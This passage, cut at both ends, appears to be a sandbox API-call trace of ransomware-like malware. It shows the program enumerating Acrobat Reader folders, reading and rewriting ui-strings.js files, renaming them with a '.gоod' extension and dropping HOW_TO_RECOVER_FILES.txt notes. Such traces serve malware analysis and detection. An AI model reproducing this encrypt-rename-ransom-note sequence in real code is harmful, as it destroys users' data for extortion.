ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x37e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0174.576] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0174.576] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0174.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0174.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0174.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0174.577] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn", lpFilePart=0x0) returned 0x69 [0174.577] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0174.577] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.577] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x37e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0174.577] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x37e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0174.577] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0174.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0174.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0174.578] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0174.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0174.578] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\zh-cn\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x34f78a8 | out: lpFileInformation=0x34f78a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x37e3)) returned 1 [0174.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0174.578] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0174.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0174.578] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\zh-cn\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0174.578] GetFileType (hFile=0x6e0) returned 0x1 [0174.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0174.578] GetFileType (hFile=0x6e0) returned 0x1 [0174.578] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0174.579] ReadFile (in: hFile=0x6e0, lpBuffer=0x34f7d80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x34f7d80*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0174.879] CloseHandle (hObject=0x6e0) returned 1 [0174.879] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0174.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0174.880] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\zh-cn\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0174.880] GetFileType (hFile=0x6e0) returned 0x1 [0174.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0174.880] GetFileType (hFile=0x6e0) returned 0x1 [0174.880] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x37e3 [0174.880] WriteFile (in: hFile=0x6e0, lpBuffer=0x33e1128*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x33e1128*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0174.882] CloseHandle (hObject=0x6e0) returned 1 [0174.882] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0174.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0174.882] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\zh-cn\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0174.882] GetFileType (hFile=0x6e0) returned 0x1 [0174.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0174.882] GetFileType (hFile=0x6e0) returned 0x1 [0174.882] ReadFile (in: hFile=0x6e0, lpBuffer=0x33e3610, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x33e3610*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0175.407] CloseHandle (hObject=0x6e0) returned 1 [0175.407] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0175.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0175.407] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\zh-cn\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0175.407] GetFileType (hFile=0x6e0) returned 0x1 [0175.407] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0175.407] GetFileType (hFile=0x6e0) returned 0x1 [0175.407] WriteFile (in: hFile=0x6e0, lpBuffer=0x33d9820*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x33d9820*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0175.407] CloseHandle (hObject=0x6e0) returned 1 [0175.407] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0175.407] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7c [0175.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0175.408] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\zh-cn\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x64c37cf6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x37f3)) returned 1 [0175.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0175.408] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\zh-cn\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\zh-cn\\ui-strings.js.gоod")) returned 1 [0175.409] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0175.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0175.409] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\zh-cn\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0175.409] GetFileType (hFile=0x6e0) returned 0x1 [0175.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0175.409] GetFileType (hFile=0x6e0) returned 0x1 [0175.410] WriteFile (in: hFile=0x6e0, lpBuffer=0x3609c90*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3609c90*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0175.411] CloseHandle (hObject=0x6e0) returned 1 [0175.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0175.412] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw", lpFilePart=0x0) returned 0x69 [0175.412] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0175.412] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.412] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3855, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0175.413] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0175.413] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0175.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0175.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0175.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0175.413] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw", lpFilePart=0x0) returned 0x69 [0175.413] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0175.413] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.413] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3855, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0175.414] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3855, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0175.414] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0175.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0175.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0175.414] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0175.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0175.414] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\zh-tw\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3619868 | out: lpFileInformation=0x3619868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3855)) returned 1 [0175.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0175.414] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0175.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0175.415] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\zh-tw\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0175.415] GetFileType (hFile=0x6e0) returned 0x1 [0175.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0175.415] GetFileType (hFile=0x6e0) returned 0x1 [0175.415] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0175.415] ReadFile (in: hFile=0x6e0, lpBuffer=0x3619d40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3619d40*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0175.417] CloseHandle (hObject=0x6e0) returned 1 [0175.417] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0175.417] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0175.417] CreateFileW (lpFileName="C:\\Program Files 